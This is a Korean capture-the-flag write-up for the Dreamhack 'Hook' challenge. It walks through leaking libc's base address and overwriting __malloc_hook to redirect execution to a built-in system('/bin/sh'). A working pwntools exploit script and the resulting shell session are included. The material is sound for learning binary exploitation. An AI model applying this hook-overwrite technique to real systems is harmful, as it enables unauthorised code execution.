# Hook 문제 write-up

강승민

```c
int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}
```

문제코드를 보고 해석해보면 stdout의 주소를 알려주고 malloc함수와 free함수를 이용하여 동적할당을 하고 시스템함수를 실행하는데 문제이름에서 힌트를 얻어 hooking을 통해 쉘을 얻을 수 있을 것으로 예상 가능하다.

```
gdb-peda$ print &_IO_2_1_stdout_
$8 = (<data variable, no debug info> *) 0x3c5620 <_IO_2_1_stdout_>
```

후킹을 하기위해 stdout의 주소를 이용하여 주어진 libc.so.6의 base address를 얻기 위해 gdb를 이용해보면 base address는 stdout주소 - 0x3c5620인 것을 알 수 있다.

Base address + __malloc_hook 의 주소에 malloc_hook 함수가 있다고 생각 할 수 있고 malloc_hook 함수 뒤에 원하는 주소를 입력하면 그 주소로 eip가 바뀌기 때문에 이를 이용하면 쉘을 획득 가능할 것 이다.

```
0x0000000000400a11 <+199>:    mov    edi,0x400aeb
0x0000000000400a16 <+204>:    call   0x400788 <system@plt>
```

문제코드내에 system("/bin/sh"); 가 내장되있어서 사진과 같이 0x0000000000400a11 주소를 넣으면 쉘을 얻을 수 있을 것으로 보인다.

```python
from pwn import *
host = "host1.dreamhack.games"
port = 15559
p = remote(host, port)
libc = ELF("./libc.so.6")

print(p.recvuntil("stdout: "))
libc_stdout = int(p.recvuntil("\n").strip(b"\n"),16)

libc_base = libc_stdout - libc.symbols['_IO_2_1_stdout_']
malloc_hook = libc_base + 0x3c4b10
# free_hook = libc_base + libc.symbols['__free_hook']
oneshot_gadget = 0x0000000000400a11
payload = p64(malloc_hook)
#payload = p64(free_hook)
payload += p64(oneshot_gadget)
p.sendline("1024")
p.sendline(payload)
p.interactive()
```

위 내용들을 이용해 exploit 코드를 짜보면 사진과 같고 Size는 널널하게 1024를 넣어주었고 이후에는 malloc_hook 함수를 이용한 payload를 입력해주면

```
Size: Data: $ cat flag
DH{[redacted]}$ id
uid=1000(hook) gid=1000(hook) groups=1000(hook)
$
```

위와 같이 쉘을 획득하여 flag를 얻을 수 있다.